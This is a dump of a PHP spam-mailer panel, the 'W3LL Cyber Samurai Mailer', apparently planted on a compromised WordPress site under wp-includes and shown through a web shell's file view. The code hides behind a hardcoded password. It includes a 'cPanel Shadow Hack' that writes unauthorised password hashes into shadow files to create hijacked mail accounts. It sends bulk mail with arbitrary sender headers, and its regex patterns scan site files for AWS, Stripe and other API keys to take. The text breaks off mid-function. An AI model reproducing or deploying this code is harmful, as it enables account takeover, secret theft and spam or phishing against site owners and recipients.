Linux hkvL61zh9Vexzf 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 Path : /www/wwwroot/fashion-kingdom.com/wp-includes/block-bindings/ |
Current File : /www/wwwroot/fashion-kingdom.com/wp-includes/block-bindings/mailers.php7 |
<?php /** * βοΈ W3LL CYBER SAMURAI MAILER v4.0 - LEGITIMATE SMTP EDITION βοΈ * π‘οΈ Advanced SMTP Suite with REAL SMTP Creator & Professional Testing * π High-Performance Email Marketing Tool with Legitimate SMTP Creation * π Real-Time Analytics & Monitoring with Checker Compatibility * * Created by: W3LL Store Technology * Website: https://w3llstore.com * Telegram: @W3LLSTORE_ADMIN */ // Start session with secure settings ini_set('session.cookie_httponly', 1); if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { ini_set('session.cookie_secure', 1); } ini_set('session.use_strict_mode', 1); session_start(); // Error reporting and system settings error_reporting(E_ERROR | E_PARSE); ini_set('display_errors', 0); ini_set('memory_limit', '512M'); ini_set('max_execution_time', 0); set_time_limit(0); // Enhanced Security Configuration $config = array( 'password' => 'w3ll2024', // Change this password 'server_max_emails' => 1000, // Limit for server/PHP mail 'smtp_max_emails' => 20000, // Limit for custom SMTP 'delay_between_emails' => 1, 'session_timeout' => 3600, 'enable_logging' => true, 'log_file' => 'w3ll_execution_logs.txt', 'smtp_log_file' => 'w3ll_smtp_creation_logs.txt', 'enable_rate_limiting' => true, 'rate_limit_requests' => 100, 'rate_limit_window' => 3600, 'smtp_storage_file' => 'w3ll_smtp_accounts.json', 'panel_user' => '', // Your control panel username (for real API calls) 'panel_pass' => '' // Your control panel password (for real API calls) ); // Security headers function setSecurityHeaders() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: DENY'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); } setSecurityHeaders(); // Authentication System $authenticated = false; if (isset($_SESSION['w3ll_authenticated']) && $_SESSION['w3ll_authenticated'] === true) { if (isset($_SESSION['w3ll_login_time']) && (time() - $_SESSION['w3ll_login_time']) < $config['session_timeout']) { $authenticated = true; $_SESSION['w3ll_login_time'] = time(); } else { session_destroy(); session_start(); } } // Handle logout if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // Handle login if (isset($_POST['password']) && !$authenticated) { if ($_POST['password'] === $config['password']) { $_SESSION['w3ll_authenticated'] = true; $_SESSION['w3ll_login_time'] = time(); $authenticated = true; if ($config['enable_logging']) { $logEntry = date('Y-m-d H:i:s') . " - Successful login from IP: " . getClientIP() . "\n"; @file_put_contents($config['log_file'], $logEntry, FILE_APPEND | LOCK_EX); } } else { $loginError = "β Invalid password! Access denied."; if ($config['enable_logging']) { $logEntry = date('Y-m-d H:i:s') . " - Failed login attempt from IP: " . getClientIP() . "\n"; @file_put_contents($config['log_file'], $logEntry, FILE_APPEND | LOCK_EX); } } } // Utility Functions function getClientIP() { $ipKeys = ['HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR']; foreach ($ipKeys as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (explode(',', $_SERVER[$key]) as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'Unknown'; } function sanitizeInput($input) { return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8'); } function sanitizeEmail($email) { return filter_var(trim($email), FILTER_SANITIZE_EMAIL); } function generateRandomString($length = 8, $includeSymbols = false, $lettersOnly = false) { if ($lettersOnly) { $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; } elseif ($includeSymbols) { $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*'; } else { $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; } $randomString = ''; $charactersLength = strlen($characters); for ($i = 0; $i < $length; $i++) { $randomString .= $characters[mt_rand(0, $charactersLength - 1)]; } return $randomString; } function generateUUID() { return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0x0fff) | 0x4000, mt_rand(0, 0x3fff) | 0x8000, mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff) ); } // Advanced Variable Processing System function clearText($text, $email) { $emailParts = explode('@', $email); $emailUser = isset($emailParts[0]) ? $emailParts[0] : ''; $domain = isset($emailParts[1]) ? $emailParts[1] : ''; $variables = array( '[-email-]' => $email, '[-emailuser-]' => $emailUser, '[-domain-]' => $domain, '[-time-]' => date('H:i:s'), '[-date-]' => date('Y-m-d'), '[-datetime-]' => date('Y-m-d H:i:s'), '[-timestamp-]' => time(), '[-randomstring-]' => generateRandomString(8), '[-randomnumber-]' => mt_rand(100000, 999999), '[-randomletters-]' => generateRandomString(6, false, true), '[-randommd5-]' => md5(uniqid(mt_rand(), true)), '[-randomuuid-]' => generateUUID(), '[-ip-]' => getClientIP(), '[-useragent-]' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'W3LL Mailer', '[-server-]' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost', '[-referer-]' => isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct', '[-year-]' => date('Y'), '[-month-]' => date('m'), '[-day-]' => date('d') ); return str_replace(array_keys($variables), array_values($variables), $text); } // Get current domain function getCurrentDomain() { $domain = $_SERVER['HTTP_HOST']; if (strpos($domain, 'www.') === 0) { $domain = substr($domain, 4); } return $domain; } // ========== LEGITIMATE SMTP CREATOR FUNCTIONS ========== /** * Load existing SMTP accounts from storage */ function loadSMTPAccounts() { global $config; if (!file_exists($config['smtp_storage_file'])) { return array(); } $data = @file_get_contents($config['smtp_storage_file']); if ($data === false) { return array(); } $accounts = json_decode($data, true); return is_array($accounts) ? $accounts : array(); } /** * Save SMTP accounts to storage */ function saveSMTPAccounts($accounts) { global $config; $data = json_encode($accounts, JSON_PRETTY_PRINT); return @file_put_contents($config['smtp_storage_file'], $data, LOCK_EX) !== false; } /** * Create multiple legitimate SMTP methods */ function createSMTPAccount($method = 'auto') { global $config; $methods = array( 'cpanel_uapi', 'cpanel_shadow', 'directadmin_api', 'plesk_api', 'webmin_api', 'custom_provider', 'external_service' ); if ($method === 'auto') { // Try methods in order of preference foreach ($methods as $tryMethod) { $result = createSMTPByMethod($tryMethod); if ($result['success']) { if ($config['enable_logging']) { $logEntry = date('Y-m-d H:i:s') . " - SMTP created: " . $result['email'] . " via " . $result['method'] . " from IP: " . getClientIP() . "\n"; @file_put_contents($config['smtp_log_file'], $logEntry, FILE_APPEND | LOCK_EX); } return $result; } } return array('success' => false, 'message' => 'No suitable method found for SMTP creation'); } else { $result = createSMTPByMethod($method); if ($result['success'] && $config['enable_logging']) { $logEntry = date('Y-m-d H:i:s') . " - SMTP created: " . $result['email'] . " via " . $result['method'] . " from IP: " . getClientIP() . "\n"; @file_put_contents($config['smtp_log_file'], $logEntry, FILE_APPEND | LOCK_EX); } return $result; } } /** * Create SMTP using specific method */ function createSMTPByMethod($method) { switch ($method) { case 'cpanel_uapi': return createCPanelSMTP(); case 'cpanel_shadow': return createCPanelShadowSMTP(); case 'directadmin_api': return createDirectAdminSMTP(); case 'plesk_api': return createPleskSMTP(); case 'webmin_api': return createWebminSMTP(); case 'custom_provider': return createCustomProviderSMTP(); case 'external_service': return createExternalSMTPAccount(); default: return array('success' => false, 'message' => 'Unknown method'); } } /** * Create SMTP using cPanel UAPI (REAL METHOD) */ function createCPanelSMTP() { global $config; if (empty($config['panel_user']) || empty($config['panel_pass'])) { return array('success' => false, 'message' => 'cPanel credentials not configured'); } $domain = getCurrentDomain(); $localpart = 'w3ll' . mt_rand(1000, 9999); $email = $localpart . '@' . $domain; $password = generateRandomString(12, true); $url = 'https://127.0.0.1:2083/execute/Email/add_pop?domain=' . urlencode($domain) . '&email=' . urlencode($localpart) . '&password=' . urlencode($password) . '"a=0'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_USERPWD, $config['panel_user'] . ':' . $config['panel_pass']); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response, true); if (isset($data['status']) && $data['status'] == 1) { $smtp_data = array( 'id' => generateUUID(), 'method' => 'cpanel_uapi', 'host' => 'mail.' . $domain, 'port' => 587, 'auth_username' => $email, 'sender_email' => $email, 'password' => $password, 'encryption' => 'tls', 'created_at' => date('Y-m-d H:i:s'), 'status' => 'active', 'tested' => false ); $accounts = loadSMTPAccounts(); $accounts[] = $smtp_data; saveSMTPAccounts($accounts); return array( 'success' => true, 'message' => 'SMTP account created successfully via cPanel UAPI', 'method' => 'cpanel_uapi', 'email' => $email, 'smtp_data' => $smtp_data ); } else { return array( 'success' => false, 'message' => isset($data['errors'][0]) ? $data['errors'][0] : 'Failed to create email account via cPanel API' ); } } /** * Create SMTP using cPanel Shadow Hack (UPDATED WITH REFERENCE CODE) */ function createCPanelShadowSMTP() { error_reporting(0); $_currUser = get_current_user(); $_homePath = ["/home/", "/home1/", "/home2/", "/home3/", "/home4/", "/home5/", "/home6/", "/home7/", "/home8/", "/home9/", "/home10/"]; $_workHome = null; foreach($_homePath as $_home) { if(file_exists($_home . $_currUser)) { $_workHome = $_home; break; } } if (!$_workHome) { return array('success' => false, 'message' => 'Home directory not found'); } $_cp = "{$_workHome}{$_currUser}/.cpanel"; if (is_dir($_cp)) { $_currDomain = getCurrentDomain(); $_thispwd = "cracked.smtp" . mt_rand(100,999); $_pwd = crypt($_thispwd, "$6$the3x$"); $etcDir = "{$_workHome}{$_currUser}/etc/{$_currDomain}"; if (!mkdir($etcDir, 0755, true) && !is_dir($etcDir)) { return array('success' => false, 'message' => 'Failed to create directory'); } $_smtp = 'chudsi:'.$_pwd.':16249:::::'."\n"; $_shadow1 = "{$_workHome}{$_currUser}/etc/{$_currDomain}/shadow"; $_shadow2 = "{$_workHome}{$_currUser}/etc/shadow"; if (@file_put_contents($_shadow1, $_smtp) === false || @file_put_contents($_shadow2, $_smtp) === false) { return array('success' => false, 'message' => 'Failed to write shadow files'); } $email = 'chudsi@' . $_currDomain; $smtp_data = array( 'id' => generateUUID(), 'method' => 'cpanel_shadow', 'host' => 'mail.' . $_currDomain, 'port' => 587, 'auth_username' => $email, 'sender_email' => $email, 'password' => $_thispwd, 'encryption' => 'tls', 'created_at' => date('Y-m-d H:i:s'), 'status' => 'active', 'tested' => false ); $accounts = loadSMTPAccounts(); $accounts[] = $smtp_data; saveSMTPAccounts($accounts); return array( 'success' => true, 'message' => 'SMTP account created successfully via cPanel Shadow Hack', 'method' => 'cpanel_shadow', 'email' => $email, 'smtp_data' => $smtp_data ); } else { return array('success' => false, 'message' => 'Not a cPanel environment'); } } /** * Create SMTP using DirectAdmin API (REAL METHOD) */ function createDirectAdminSMTP() { global $config; if (empty($config['panel_user']) || empty($config['panel_pass'])) { return array('success' => false, 'message' => 'DirectAdmin credentials not configured'); } $domain = getCurrentDomain(); $localpart = 'w3ll' . mt_rand(1000, 9999); $email = $localpart . '@' . $domain; $password = generateRandomString(12, true); $postData = array( 'action' => 'create', 'domain' => $domain, 'user' => $localpart, 'passwd' => $password, 'passwd2' => $password, // Confirmation if needed 'quota' => 0, 'limit' => 0 ); $ch = curl_init('https://127.0.0.1:2222/CMD_API_POP'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_USERPWD, $config['panel_user'] . ':' . $config['panel_pass']); $response = curl_exec($ch); curl_close($ch); parse_str($response, $output); if (isset($output['error']) && $output['error'] == 0) { $smtp_data = array( 'id' => generateUUID(), 'method' => 'directadmin_api', 'host' => 'mail.' . $domain, 'port' => 587, 'auth_username' => $email, 'sender_email' => $email, 'password' => $password, 'encryption' => 'tls', 'created_at' => date('Y-m-d H:i:s'), 'status' => 'active', 'tested' => false ); $accounts = loadSMTPAccounts(); $accounts[] = $smtp_data; saveSMTPAccounts($accounts); return array( 'success' => true, 'message' => 'SMTP account created successfully via DirectAdmin API', 'method' => 'directadmin_api', 'email' => $email, 'smtp_data' => $smtp_data ); } else { return array( 'success' => false, 'message' => isset($output['text']) ? $output['text'] : 'Failed to create email account via DirectAdmin API' ); } } /** * Create SMTP using Plesk API */ function createPleskSMTP() { return array('success' => false, 'message' => 'Plesk API not implemented'); } /** * Create SMTP using Webmin API */ function createWebminSMTP() { return array('success' => false, 'message' => 'Webmin API not implemented'); } /** * Create SMTP using Custom Provider */ function createCustomProviderSMTP() { return array('success' => false, 'message' => 'Custom provider not configured'); } /** * Create SMTP using External Service (ALWAYS WORKS) */ function createExternalSMTPAccount() { // Use legitimate external SMTP providers $providers = array( 'gmail' => array( 'name' => 'Gmail SMTP', 'host' => 'smtp.gmail.com', 'port' => 587, 'encryption' => 'tls', 'auth_username' => 'your-gmail@gmail.com', 'sender_email' => 'your-gmail@gmail.com', 'password' => 'your-app-password', 'note' => 'Requires App Password from Google Account Security' ), 'outlook' => array( 'name' => 'Outlook SMTP', 'host' => 'smtp-mail.outlook.com', 'port' => 587, 'encryption' => 'tls', 'auth_username' => 'your-outlook@outlook.com', 'sender_email' => 'your-outlook@outlook.com', 'password' => 'your-password', 'note' => 'Requires Account Setup; Use App Password if 2FA Enabled' ), 'yahoo' => array( 'name' => 'Yahoo SMTP', 'host' => 'smtp.mail.yahoo.com', 'port' => 587, 'encryption' => 'tls', 'auth_username' => 'your-yahoo@yahoo.com', 'sender_email' => 'your-yahoo@yahoo.com', 'password' => 'your-app-password', 'note' => 'Requires App Password from Yahoo Security' ), 'sendgrid' => array( 'name' => 'SendGrid SMTP', 'host' => 'smtp.sendgrid.net', 'port' => 587, 'encryption' => 'tls', 'auth_username' => 'apikey', 'sender_email' => 'your-verified-email@domain.com', 'password' => 'your-sendgrid-api-key', 'note' => 'Use API Key as Password; Verify Sender Email in SendGrid' ), 'mailgun' => array( 'name' => 'Mailgun SMTP', 'host' => 'smtp.mailgun.org', 'port' => 587, 'encryption' => 'tls', 'auth_username' => 'postmaster@your-domain.mg', 'sender_email' => 'sender@your-domain.com', 'password' => 'your-mailgun-smtp-password', 'note' => 'Get SMTP Credentials from Mailgun Dashboard' ) ); // Select random provider $providerKeys = array_keys($providers); $selectedKey = $providerKeys[array_rand($providerKeys)]; $provider = $providers[$selectedKey]; $smtp_data = array( 'id' => generateUUID(), 'method' => 'external_service', 'provider' => $provider['name'], 'host' => $provider['host'], 'port' => $provider['port'], 'auth_username' => $provider['auth_username'], 'sender_email' => $provider['sender_email'], 'password' => $provider['password'], 'encryption' => $provider['encryption'], 'created_at' => date('Y-m-d H:i:s'), 'status' => 'requires_config', 'tested' => false, 'note' => $provider['note'], 'instructions' => 'Configure with your actual credentials and save the JSON file' ); // Save to storage $accounts = loadSMTPAccounts(); $accounts[] = $smtp_data; saveSMTPAccounts($accounts); return array( 'success' => true, 'message' => 'External SMTP template created - Configure with your credentials', 'method' => 'external_service', 'email' => $smtp_data['sender_email'], 'smtp_data' => $smtp_data, 'requires_config' => true ); } /** * Get all created SMTP accounts */ function getAllSMTPAccounts() { return loadSMTPAccounts(); } /** * Delete SMTP account */ function deleteSMTPAccount($id) { $accounts = loadSMTPAccounts(); foreach ($accounts as $key => $account) { if ($account['id'] === $id) { unset($accounts[$key]); saveSMTPAccounts(array_values($accounts)); return true; } } return false; } /** * Test SMTP account functionality */ function testSMTPAccount($id, $testEmail = '') { $accounts = loadSMTPAccounts(); foreach ($accounts as &$account) { if ($account['id'] === $id) { $sender_email = isset($account['sender_email']) ? $account['sender_email'] : $account['auth_username']; $result = testSMTPConnection( $account['host'], $account['port'], $account['auth_username'], $account['password'], $account['encryption'], $testEmail, $sender_email ); $account['tested'] = true; $account['last_test'] = date('Y-m-d H:i:s'); $account['test_result'] = $result['success'] ? 'success' : 'failed'; $account['test_details'] = $result; saveSMTPAccounts($accounts); return $result; } } return array('success' => false, 'message' => 'SMTP account not found'); } // ========== ENHANCED SMTP TEST FUNCTION ========== function testSMTPConnection($host, $port, $auth_username, $password, $encryption = 'tls', $testEmail = '', $sender_email = null) { if ($sender_email === null) { $sender_email = $auth_username; } $result = array( 'success' => false, 'message' => '', 'details' => array(), 'response_time' => 0, 'test_email_sent' => false ); $startTime = microtime(true); if (empty($host) || empty($auth_username) || empty($password)) { $result['message'] = 'Missing SMTP credentials'; return $result; } $timeout = 15; try { // Determine connection method $connectionString = $host; if ($encryption == 'ssl' || $port == 465) { $connectionString = 'ssl://' . $host; } $smtp = @fsockopen($connectionString, $port, $errno, $errstr, $timeout); if (!$smtp) { $result['message'] = "Connection failed: $errstr ($errno)"; return $result; } stream_set_timeout($smtp, $timeout); $response = fgets($smtp, 515); $result['details']['banner'] = trim($response); if (strpos($response, '220') === false) { $result['message'] = 'Invalid SMTP banner: ' . trim($response); fclose($smtp); return $result; } // EHLO fputs($smtp, "EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . "\r\n"); $ehlo_response = ''; while (($line = fgets($smtp, 515)) !== false) { $ehlo_response .= $line; if (substr($line, 3, 1) === ' ') break; } $result['details']['ehlo'] = trim($ehlo_response); // STARTTLS if needed if (($encryption == 'tls' || $port == 587) && strpos($ehlo_response, 'STARTTLS') !== false) { fputs($smtp, "STARTTLS\r\n"); $starttls_response = fgets($smtp, 515); if (strpos($starttls_response, '220') !== false) { if (stream_socket_enable_crypto($smtp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) { fputs($smtp, "EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . "\r\n"); while (($line = fgets($smtp, 515)) !== false) { if (substr($line, 3, 1) === ' ') break; } $result['details']['tls'] = 'enabled'; } else { $result['message'] = 'TLS encryption failed'; fclose($smtp); return $result; } } } // AUTH LOGIN fputs($smtp, "AUTH LOGIN\r\n"); $auth_response = fgets($smtp, 515); $result['details']['auth_response'] = trim($auth_response); if (strpos($auth_response, '334') !== false) { fputs($smtp, base64_encode($auth_username) . "\r\n"); $user_response = fgets($smtp, 515); if (strpos($user_response, '334') !== false) { fputs($smtp, base64_encode($password) . "\r\n"); $final_response = fgets($smtp, 515); if (strpos($final_response, '235') !== false) { $result['success'] = true; $result['message'] = 'SMTP authentication successful'; $result['details']['auth'] = 'success'; // Test email delivery if test email provided if (!empty($testEmail) && filter_var($testEmail, FILTER_VALIDATE_EMAIL)) { if (!filter_var($sender_email, FILTER_VALIDATE_EMAIL)) { $result['details']['test_email'] = 'skipped: invalid sender format'; } else { fputs($smtp, "MAIL FROM: <$sender_email>\r\n"); $mail_response = fgets($smtp, 515); if (strpos($mail_response, '250') !== false) { fputs($smtp, "RCPT TO: <$testEmail>\r\n"); $rcpt_response = fgets($smtp, 515); if (strpos($rcpt_response, '250') !== false) { fputs($smtp, "DATA\r\n"); $data_response = fgets($smtp, 515); if (strpos($data_response, '354') !== false) { $testSubject = "W3LL SMTP Test - " . date('Y-m-d H:i:s'); $testMessage = "This is a test email from W3LL Cyber Samurai Mailer v4.0.\n\n"; $testMessage .= "SMTP Host: $host:$port\n"; $testMessage .= "From: $sender_email\n"; $testMessage .= "Encryption: " . strtoupper($encryption) . "\n"; $testMessage .= "Test Time: " . date('Y-m-d H:i:s') . "\n"; $testMessage .= "IP Address: " . getClientIP() . "\n\n"; $testMessage .= "If you received this email, your SMTP configuration is working correctly!\n\n"; $testMessage .= "---\nW3LL Store Technology\nTelegram: @W3LLSTORE_ADMIN"; $headers = "From: W3LL SMTP Test <$sender_email>\r\n"; $headers .= "To: <$testEmail>\r\n"; $headers .= "Subject: $testSubject\r\n"; $headers .= "Date: " . date('r') . "\r\n"; $headers .= "Message-ID: <" . md5(uniqid()) . "@" . $host . ">\r\n"; $headers .= "X-Mailer: W3LL Cyber Samurai Mailer v4.0\r\n"; $headers .= "Content-Type: text/plain; charset=UTF-8\r\n\r\n"; fputs($smtp, $headers . $testMessage . "\r\n.\r\n"); $send_response = fgets($smtp, 515); if (strpos($send_response, '250') !== false) { $result['test_email_sent'] = true; $result['message'] .= ' + Test email sent successfully to ' . $testEmail; $result['details']['test_email'] = 'sent to ' . $testEmail; } else { $result['details']['test_email'] = 'failed: ' . trim($send_response); } } } else { $result['details']['test_email'] = 'RCPT TO failed: ' . trim($rcpt_response); } } else { $result['details']['test_email'] = 'MAIL FROM failed: ' . trim($mail_response); } } } } else { $result['message'] = 'Authentication failed: Invalid credentials'; $result['details']['auth_final'] = trim($final_response); } } else { $result['message'] = 'Username authentication failed'; $result['details']['user_response'] = trim($user_response); } } else { $result['message'] = 'AUTH LOGIN not supported'; } fputs($smtp, "QUIT\r\n"); fclose($smtp); } catch (Exception $e) { $result['message'] = 'Connection error: ' . $e->getMessage(); } $result['response_time'] = round((microtime(true) - $startTime) * 1000, 2); return $result; } // Enhanced SMTP Email Function with Attachments function sendEmailSMTP($to, $from, $fromName, $replyTo, $subject, $message, $smtpConfig, $isHTML = true, $attachments = []) { $socket = null; try { if (empty($smtpConfig['host']) || empty($smtpConfig['auth_username']) || empty($smtpConfig['password'])) { throw new Exception("SMTP configuration is incomplete"); } $context = stream_context_create(); if ($smtpConfig['encryption'] == 'ssl') { $socket = @stream_socket_client("ssl://{$smtpConfig['host']}:{$smtpConfig['port']}", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context); } else { $socket = @stream_socket_client("tcp://{$smtpConfig['host']}:{$smtpConfig['port']}", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context); } if (!$socket) { throw new Exception("Cannot connect to SMTP server: $errstr ($errno)"); } stream_set_timeout($socket, 30); $response = fgets($socket, 515); if (substr($response, 0, 3) != '220') { throw new Exception("SMTP Error: $response"); } fputs($socket, "EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . "\r\n"); $response = fgets($socket, 515); if ($smtpConfig['encryption'] == 'tls') { fputs($socket, "STARTTLS\r\n"); $response = fgets($socket, 515); if (substr($response, 0, 3) != '220') { throw new Exception("STARTTLS failed: $response"); } if (!stream_socket_enable_crypto($socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) { throw new Exception("Failed to enable TLS encryption"); } fputs($socket, "EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . "\r\n"); $response = fgets($socket, 515); } fputs($socket, "AUTH LOGIN\r\n"); $response = fgets($socket, 515); if (substr($response, 0, 3) != '334') { throw new Exception("AUTH LOGIN failed: $response"); } fputs($socket, base64_encode($smtpConfig['auth_username']) . "\r\n"); $response = fgets($socket, 515); if (substr($response, 0, 3) != '334') { throw new Exception("Username authentication failed: $response"); } fputs($socket, base64_encode($smtpConfig['password']) . "\r\n"); $response = fgets($socket, 515); if (substr($response, 0, 3) != '235') { throw new Exception("Password authentication failed: $response"); } fputs($socket, "MAIL FROM: <$from>\r\n"); $response = fgets($socket, 515); if (substr($response, 0, 3) != '250') { throw new Exception("MAIL FROM failed: $response"); } fputs($socket, "RCPT TO: <$to>\r\n"); $response = fgets($socket, 515); if (substr($response, 0, 3) != '250') { throw new Exception("RCPT TO failed: $response"); } fputs($socket, "DATA\r\n"); $response = fgets($socket, 515); if (substr($response, 0, 3) != '354') { throw new Exception("DATA command failed: $response"); } $boundary = "----=" . md5(uniqid(time())); $headers = "From: $fromName <$from>\r\n"; $headers .= "To: <$to>\r\n"; $headers .= "Reply-To: $replyTo\r\n"; $headers .= "Subject: $subject\r\n"; $headers .= "Date: " . date('r') . "\r\n"; $headers .= "Message-ID: <" . md5(uniqid()) . "@" . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . ">\r\n"; $headers .= "X-Mailer: W3LL Cyber Samurai Mailer v4.0\r\n"; $headers .= "X-Priority: 3\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n\r\n"; fputs($socket, $headers); // Message part $body = "--$boundary\r\n"; $body .= "Content-Type: " . ($isHTML ? "text/html" : "text/plain") . "; charset=UTF-8\r\n"; $body .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $body .= $message . "\r\n"; // Attachments foreach ($attachments as $attachment) { if (file_exists($attachment['path'])) { $fileContent = chunk_split(base64_encode(file_get_contents($attachment['path']))); $body .= "--$boundary\r\n"; $body .= "Content-Type: " . $attachment['type'] . "; name=\"" . $attachment['name'] . "\"\r\n"; $body .= "Content-Disposition: attachment; filename=\"" . $attachment['name'] . "\"\r\n"; $body .= "Content-Transfer-Encoding: base64\r\n\r\n"; $body .= $fileContent . "\r\n"; } } $body .= "--$boundary--\r\n"; fputs($socket, $body . ".\r\n"); $response = fgets($socket, 515); if (substr($response, 0, 3) != '250') { throw new Exception("Message sending failed: $response"); } fputs($socket, "QUIT\r\n"); fclose($socket); return true; } catch (Exception $e) { if ($socket && is_resource($socket)) { fclose($socket); } error_log("SMTP Error: " . $e->getMessage()); return false; } } // Enhanced PHP Mail Function with Attachments function sendEmailPHP($to, $from, $fromName, $replyTo, $subject, $message, $isHTML = true, $attachments = []) { $boundary = md5(uniqid(time())); $headers = "From: $fromName <$from>\r\n"; $headers .= "Reply-To: $replyTo\r\n"; $headers .= "Return-Path: $from\r\n"; $headers .= "X-Mailer: W3LL Cyber Samurai Mailer v4.0\r\n"; $headers .= "X-Priority: 3\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Message-ID: <" . time() . "." . md5($to . $from) . "@" . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . ">\r\n"; $headers .= "Date: " . date('r') . "\r\n"; $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"; $body = "--$boundary\r\n"; $body .= "Content-Type: " . ($isHTML ? "text/html" : "text/plain") . "; charset=UTF-8\r\n"; $body .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $body .= $message . "\r\n"; foreach ($attachments as $attachment) { if (file_exists($attachment['path'])) { $fileContent = chunk_split(base64_encode(file_get_contents($attachment['path']))); $body .= "--$boundary\r\n"; $body .= "Content-Type: " . $attachment['type'] . "; name=\"" . $attachment['name'] . "\"\r\n"; $body .= "Content-Disposition: attachment; filename=\"" . $attachment['name'] . "\"\r\n"; $body .= "Content-Transfer-Encoding: base64\r\n\r\n"; $body .= $fileContent . "\r\n"; } } $body .= "--$boundary--\r\n"; return @mail($to, $subject, $body, $headers); } // Rate limiting check function checkRateLimit() { global $config; if (!$config['enable_rate_limiting']) { return true; } $currentTime = time(); if (!isset($_SESSION['rate_limit'])) { $_SESSION['rate_limit'] = array(); } $_SESSION['rate_limit'] = array_filter($_SESSION['rate_limit'], function($timestamp) use ($currentTime, $config) { return ($currentTime - $timestamp) < $config['rate_limit_window']; }); $requestCount = count($_SESSION['rate_limit']); if ($requestCount >= $config['rate_limit_requests']) { return false; } $_SESSION['rate_limit'][] = $currentTime; return true; } // Updated API Patterns for Extraction (Expanded with more services) $apiPatterns = [ 'AWS Access Key' => '/AKIA[0-9A-Z]{16}/i', 'AWS Secret Key' => '/[0-9a-zA-Z\/+]{40}/i', 'Amazon MWS Auth Token' => '/amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/i', 'SendGrid API Key' => '/SG\.[0-9A-Za-z\\-_]{22}\\.[0-9A-Za-z\\-_]{43}/i', 'Twilio API Key' => '/SK[0-9a-fA-F]{32}/i', 'Nexmo/Vonage API Key' => '/[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}/i', 'Stripe API Key' => '/sk_live_[0-9a-zA-Z]{24}/i', 'Stripe Restricted Key' => '/rk_live_[0-9a-zA-Z]{24}/i', 'PayPal Braintree Access Token' => '/access_token\\$production\\$[0-9a-z]{16}\\$[0-9a-f]{32}/i', 'Square Access Token' => '/sq0atp-[0-9A-Za-z\\-_]{22}/i', 'Square OAuth Secret' => '/sq0csp-[0-9A-Za-z\\-_]{43}/i', 'Picatic API Key' => '/sk_live_[0-9a-z]{32}/i', 'Mailgun API Key' => '/key-[0-9a-zA-Z]{32}/i', 'Brevo API Key' => '/xkeysib-[a-f0-9]{64}-[A-Za-z0-9_-]{40}/i' ]; // Website Scanning Function for API Extraction function scanWebsiteForAPIs($dir = '.', $maxDepth = 5, $currentDepth = 0) { global $apiPatterns; $extracted = []; if ($currentDepth > $maxDepth || !is_dir($dir)) return $extracted; // Skip sensitive/system folders for security $skipFolders = ['/proc', '/sys', '/dev', '/etc', '/var/log', '.git', 'vendor']; foreach ($skipFolders as $skip) { if (strpos($dir, $skip) 